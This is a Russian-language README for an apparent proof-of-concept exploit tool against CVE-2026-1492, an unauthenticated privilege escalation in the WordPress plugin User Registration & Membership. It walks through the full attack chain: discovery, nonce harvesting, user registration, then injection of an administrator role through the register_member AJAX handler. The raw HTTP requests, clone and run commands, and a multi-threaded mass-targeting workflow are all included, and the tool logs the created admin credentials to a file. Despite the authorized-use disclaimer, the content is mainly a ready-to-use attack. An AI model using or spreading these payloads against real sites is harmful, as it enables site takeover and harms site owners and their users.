
User Registration & Membership <= 5.1.2 - Неаутентифицированное повышение привилегий через регистрацию членства
User Registration & Membership <= 5.1.2 — неаутентифицированное повышение привилегий через регистрацию членства
Описание:
Плагин User Registration & Membership для WordPress уязвим к неаутентифицированному повышению привилегий во всех версиях вплоть до 5.1.2 включительно. Уязвимость связана с тем, что AJAX-обработчик user_registration_membership_register_member принимает передаваемое пользователем значение role в процессе регистрации членства без применения на стороне сервера разрешённого списка значений (allowlist) и без проверки прав. Полностью неаутентифицированный удалённый злоумышленник может выстроить многошаговую цепочку AJAX-запросов — сначала зарегистрировать новую учётную запись, затем отправить вредоносный вызов register_member со значением "role": "administrator", внедрённым в JSON-полезную нагрузку members_data, — чтобы незаметно создать полностью привилегированную учётную запись Administrator в WordPress. Это приводит к полной компрометации затронутой установки WordPress без какого-либо взаимодействия с пользователем.
Это PoC-эксплойт (Proof-of-Concept), реализующий полную атакующую цепочку с учётом состояния против сайтов на WordPress, на которых установлена уязвимая версия плагина User Registration & Membership. Инструмент выполняет интеллектуальную многоэтапную эксплуатацию с автоматическим обнаружением, извлечением планов членства, сбором nonce, регистрацией по двум сценариям, инъекцией роли и проверкой прав администратора.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Или через файл requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
Инструмент использует полностью интерактивный терминальный интерфейс на базе Rich. Все параметры запрашиваются во время выполнения.
Создайте обычный текстовый файл (по умолчанию: list.txt) с одной целью на строку:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Инструмент автоматически обнаруживает и разбирает:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ Сервер принимает поле
roleот клиента без проверки по разрешённому списку значений — это первопричина CVE-2026-1492.
Инструмент открывает новую сессию, входит под только что созданными учётными данными и проверяет:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
Автор: Nxploited (Khaled Alenazi)
ЭТОТ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И САНКЦИОНИРОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
Автор, Nxploited (Khaled Alenazi), и все участники этого проекта не одобряют, не поддерживают и не несут никакой ответственности за неправомерное использование этого инструмента или любой ущерб, причинённый применением данного ПО против систем, на тестирование которых у вас нет явного письменного разрешения.
- ✅ Разрешено: Использование на системах, которыми вы владеете или на тестирование которых получили явное письменное разрешение.
- ❌ Запрещено: Использование против любых систем без предварительного явного письменного разрешения владельца системы.
Несанкционированный доступ к компьютерным системам является незаконным и наказывается в соответствии с применимым законодательством, включая, помимо прочего, Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о компьютерных злоупотреблениях (CMA) и аналогичное законодательство по всему миру.
Используя этот инструмент, вы принимаете на себя полную и единоличную ответственность за свои действия и подтверждаете, что обладаете законными полномочиями на тестирование выбранных систем.
Автор не несёт никакой ответственности за любые прямые, косвенные, случайные или последующие убытки, возникшие в результате использования или неправильного использования данного ПО.
© 2026 Nxploited (Khaled Alenazi) — Только для санкционированных исследований безопасности.
| Поле | Описание |
|---|
| CVE ID | CVE-2026-1492 |
| Критичность | Критическая — оценка CVSS v3.1: 9.8 |
| Вектор | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Затронутое ПО | User Registration & Membership — плагин для WordPress: конструктор пользовательских форм регистрации, пользовательская форма входа, профиль пользователя, ограничение контента и управление членством |
| Затронутые версии | Все версии вплоть до 5.1.2 включительно |
| Тип уязвимости | Некорректное управление привилегиями — неаутентифицированное создание учётной записи администратора |
| Требуемая аутентификация | Отсутствует |
| CWE | CWE-269: Некорректное управление привилегиями |
| Цель | Что извлекается |
|---|
/membership-pricing/ | ID планов членства, ссылки на страницу регистрации |
/registration/ | Поля формы, nonce, AJAX-URL, radio-переключатели членства |
JS-объект user_registration_params | ajax_url, nonce security, метаданные формы |
ur_membership_frontend_localized_data | отдельный nonce для членства, AJAX-конечная точка |
| Конечная точка | Проверяемый индикатор |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| Файл | Описание |
|---|
Nx_admin.txt | ✅ Подтверждённые учётные записи администратора |
membership_success_log.txt | Все успешные вызовы инъекции роли членства |
discovery_log.txt | Все данные обнаружения по каждой цели (nonce, ID, поля) |
registration_log.txt | Все AJAX-запросы и ответы регистрации |
membership_log.txt | Все AJAX-запросы и ответы по членству |
admin_check_log.txt | Попытки входа и результаты проверки прав администратора |
| Статус | Цвет | Значение |
|---|
ADMIN-A / ADMIN-B | 🟢 Зелёный | Администратор подтверждён — сценарий A или B |
ADMIN-A-OVERRIDE | 🟢 Зелёный | Администратор подтверждён после попытки переопределения |
REG-A-FAIL / REG-B-FAIL | 🟡 Жёлтый | AJAX-запрос регистрации вернул ошибку |
MEM-A-FAIL / MEM-B-FAIL | 🟣 Пурпурный | Вызов инъекции роли членства не удался |
REG-PENDING-A/B | ⚫ Тёмный | Учётная запись требует подтверждения по электронной почте или одобрения администратора |
NO-MEM-ID | ⚫ Тёмный | ID плана членства не найден на цели |
NO-UR-NONCE | ⚫ Тёмный | Nonce регистрации не удалось извлечь |
NO-ADMIN | ⚫ Тёмный | Членство в порядке, но доступ администратора не подтверждён |
TIMEOUT | ⚫ Тёмный | Тайм-аут HTTP |
DEAD | ⚫ Тёмный | Ошибка соединения — сайт недоступен |
ERROR | 🔴 Красный | Непредвиденное исключение |